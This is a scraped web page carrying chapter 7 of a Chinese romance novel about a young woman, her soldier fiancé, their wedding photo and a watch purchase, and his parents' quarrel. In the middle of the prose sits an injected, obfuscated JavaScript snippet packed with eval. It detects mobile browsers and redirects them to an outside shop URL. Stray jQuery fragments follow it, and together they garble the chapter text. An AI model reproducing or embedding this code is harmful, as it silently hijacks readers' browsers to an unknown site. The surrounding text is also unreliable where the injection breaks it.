默认冷灰
24号文字
方正启体

7. 第 7 章

作者:满山白本书字数:K更新时间:
    第七章


    化好妆,戚芳芳又将头发打散,没有像以往一样扎两条辫子,而是做了简单盘发,细细打理好额前碎发,看着镜中自己,她弯起嘴角,笑了笑,然后走出房门,钟建国一边和姑父说着话,一边还要分神照顾调皮的表弟,听到开门声,他下意识望过来,明显怔愣了下,眼底一道惊艳闪过。


    姑姑见她走出来,忙将钟建国往前一推,道:“建国,你带芳芳去照相,”说罢又交代戚芳芳道:“芳芳啊,等你和建国照完相,去供销社买点东西,去看看建国爷奶知道吗?”


    戚芳芳点头应是,跟着钟建国,一前一后出了门。


    虽然即将成为最亲密的夫妻,可却算不得熟悉,说起来,这算是两人第二次单独相处,第一次还是相亲时。


    两人一直沉默的走着,谁都没有先开口,戚芳芳算不得长袖善舞之人,以前和李瑾瑜相处时,多是李瑾瑜主动找话题,她是那个被动等待的人,如今,看钟建国似是比她还要沉默寡言,戚芳芳心底不禁有些着急起来,没办法,相对钟建国,她对这段婚姻的依赖性更高。


    戚芳芳深吸口气,努力给自己打气,人活着,总要面对现实才行,她早就不是从前的戚小姐了,没了任性的资格,想到这,她终于试着开口问道:“营区是什么样的?那些去随军的家属,都是哪的人呢?”


    戚芳芳声音甜糯,尾音微微上挑,听起来很向撒娇。


    钟建国听后,先是愣了愣,然后道:“营区很大,比较偏僻,那儿很少有外人,全都是军人和随军的家属,来随军的嫂子们,来自五湖四海,有农村来的,也有城市来的。”


    戚芳芳叹了口气,这人是真的不会聊天,还很容易把天聊死,为避免尴尬,她只得继续努力找话题,想了想,她问道:“营区的生活会不会很苦?很难熬?”


    戚芳芳本意是想随便说点什么,以活跃气氛,不料钟建国却误以为她吃不得苦,因此,怔愣片刻后道:“等你到了营区后,不用担心这些,到时候一切有我。”


    戚芳芳有些无力,她想和钟建国解释,自己并不是怕吃苦的意思,再说,一切都靠他,到时候他一出门十天半月不在家,到时候又怎么靠他?戚芳芳父亲就是军人出身,又怎么会不懂军属的生活,当年父母感情疏离变淡,到最后形同陌路,夫妻间聚少离多,缺少有效沟通交流,是最大原因,戚芳芳不想走父母的老路,这才努力让两人熟悉起来,可面对这样的钟建国,她张张嘴,刚想要说些什么,照相馆便到了,钟建国一马当先推门进入,戚芳芳见状也闭嘴,忙跟在他身后。


    “两位同志,你们俩稍微靠近一点,还有,这位军人同志,身体不要这么僵硬,旁边那是你媳妇,又不是洪水猛兽……”


    见一旁钟建国身体僵硬,面对照相师傅的指挥,如同提线木偶一样,戚芳芳心底叹了口气,自己挪了挪身体,向他的方向靠去,两人距离很近,所以身体相触时,她明显感觉到钟建国下意识想要逃离,最后又被军人强大的意志拉回来,强制自己一动不动,照完了相。


    戚芳芳心里泛起丝丝酸涩来,身体下意识的反应是无法说慌的,也许,钟建国并不喜欢她,她之前对钟建国的猜测,认为他也是为美色所惑,有些过于自以为是了。


    在戚芳芳柔软的大腿贴上他的时,若不是军人一贯优秀的自控力,钟建国险些就要失态了,他第一次这样近距离接触姑娘家的身体,柔软,有股淡淡的香味,眼角余光撇去,柔顺光亮的青丝乖巧的在头上盘着,比起他来,她是那样的娇小,孱弱,像见易碎的珍宝,而如今,这样的珍宝属于他一个人了。


    一想到这,钟建国从心底升腾起一股火焰来,不知想到了什么,脸也开始发烫,好在,他皮肤黑,又一向不苟言笑惯了,无论是照相师傅,还是近在咫尺的戚芳芳,都没有察觉出他的异样。


    出了照相馆后,钟建国带着她直奔国营商店,本以为他只是带她买些吃食,以作看望他爷奶的礼品,戚芳芳却没想到,钟建国将她带到手表区,对她道:“我不懂你喜欢什么样的,你还是自己挑一个吧。”


    戚芳芳过了好一会儿才找回思绪,再次向他确认道:“你要给我买手表吗?”


    钟建国嗯了声,解释道:“有了手表后,你在营区生活会方便很多。”


    戚芳芳心底徒然生出股暖意来,她知道,钟建国驻地并不在这,所以两人结婚并为置办家具等物件,而是拿出不菲的彩礼给到女方,两人匆忙之下相亲结婚,他还愿意为她这位陌生妻子买表,她想,她的运气还是不错的。


    钟建国没她这些细腻心思,只叫她过来看表,戚芳芳强制自己把目光从Rolex上挪开,而是叫售货员拿出一块最便宜的上海牌手表,深色的表盘搭配白皙纤弱的手腕,有种别样的美感,因钟建国穿着军装的缘故,售货员一改往日臭脸,笑意盈盈为两人推荐。


    “这位女同志戴着真好看,同志,现在大家结婚都流行买这个牌子的手表,现在只剩这一块了,你要是看好了就抓紧时间拿主意,明天说不定就卖出去了,最近运输停了,不知道什么时候能补货,如果看好了,就别再犹豫了。”


    戚芳芳看向钟建国,却见他似是在盯着什么,严肃着一张脸,似是神情不愉,最便宜的上海牌手表也要一百块钱,她想,钟建国是不是又嫌贵了,她并不缺钱,自己也可以买,两人还在接触阶段,她并不愿意为了这点小事给他留下坏印象,于是摘下表带,刚想对售货员说不要了,就听钟建国指着另一只手表道:“同志,请将那只表拿出来看一下。”


    戚芳芳顺着他指的方向看去,正是方才她看的Rolex,这块表因为太贵,基本没人会看,已经放在这落灰很长时间了,售货员一愣,然后赶紧将表拿出来递过她,戚芳芳接过手表,轻轻抚摸表盘,然后戴在手上,伸出胳膊对着阳光打量一番,然后将表摘下,还给售货员。


    到是钟建国很是意外,问她:“我看你刚才在看它,不喜欢吗?”


    记忆中,母亲也有块一模一样的手表,戚芳芳难免有些睹物思人,但她是去随军的,戴这样贵重的表实在没有必要,反正,她需要的是手表的功能,又不是手表带来的面子,再说,这世上的聪明人向来很多,她身份本就敏感,低调才是王道,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276614|198278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    何必招摇。


    见钟建国还要说什么,戚芳芳拉住他的大手,然后笑着对售货员道:“同志,我要刚才那块表。”


    戚芳芳的手腕细瘦,白皙,轻飘飘没什么力道,但钟建国握着那只小手,却什么话都说不出来,在那一刻,他心中甚至生出些荒唐念头,他想,只要她愿意同他过日子,愿意好好待他,就算她要天上的星星,他也试着为她摘下来。


    售货员有些不高兴撇嘴,但见一旁的身着军装的钟建国,到底没像对其他人一样甩脸色,而是麻利的将手表打包递过来,戚芳芳见钟建国还在愣神,手上用力拉了拉他,钟建国这才如梦方醒,忙去付钱。


    之后,戚芳芳又买了些麦乳精红糖和桃酥,准备当做看望两位老人的礼物,钟建国见状要付钱,被戚芳芳拦下,她道:“手表是你送我的新婚礼物,自然要你来付钱,可这是我对爷奶的一点心意,这钱要我自己来付才行,你不许和我抢。”


    戚芳芳尾音上扬,细声细语的说话就像对他撒娇,钟建国听在耳中,一颗心霎时软成颗豆腐,唇边不自觉流露出笑意,看着她道:“好,都听你的。”


    经过这一番,两人间的疏离感淡了许多,出了国营商店后,钟建国问她:“刚才的手表,你为什么不要,我能看的出来,你明明很喜欢。”


    听他这样说,戚芳芳不由愣住,怕钟建国误会,她对那块表只是瞟了一眼,便迅速收回目光,没想到这样短的时间内,钟建国竟注意到了,她心口顿时酸酸涩涩的,在她的人生中,好像从来没有过这样的经历,被人时时刻刻关注着,父亲常年在外,母亲对她多是教导训诫为主,母女间甚少有温情时刻,后来随奶奶一起生活,祖孙间不吵架便是幸事。


    戚芳芳深吸一口气,这种感觉,意外的不赖,钟建国不愧是军人,洞察力细微专注,而且愿意照顾她,她想,即便没有爱情,和这样的人生活,也不会太糟糕,因为,他本身就是很好的一个人。


    钟建国爷奶一开始住在招待所,钟成功知道爹娘来了后,鞍前马后的给二老安排了临时住处,无奈,谁叫他既干不过前妻,又拗不过老爹老娘。


    谁知,钟建国和戚芳芳刚要进门时,就听屋内传来一声男人的低吼:“王玉萍,你脑子里塞的是浆糊吗?凭时对付我的聪明劲儿都去哪儿了?你有没有为儿子考虑过,这样成分的女人是能娶的吗?”


    王玉萍当即反口相讥:“钟成功,这还真是老鸹落在猪身上,看到别人黑,看不到自各儿黑,你当初非要和我离婚,要娶那小妖精,你当时怎么不考虑影响呢?你个不要脸的陈世美,你还敢对老娘指手画脚,我告诉你,儿子的婚礼你想参加就参加,你要想找不痛快,把钱留下,你人可以滚了。”


    钟成功气的脑袋发蒙,大叫道:“你、你个悍妇,不叫我参加儿子婚礼还要我花钱?凭什么?!”


    钟成功战场腥风血雨闯过来,一旦发怒,虎目圆瞪,颇有几分煞气,但王玉萍可不憱他,当即双手叉腰对着他吼道:“钟狗蛋儿,你敢不掏钱,老娘就带着你老爹老娘站到军区大门口要钱去,我看你一个司令还要不要这个脸!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)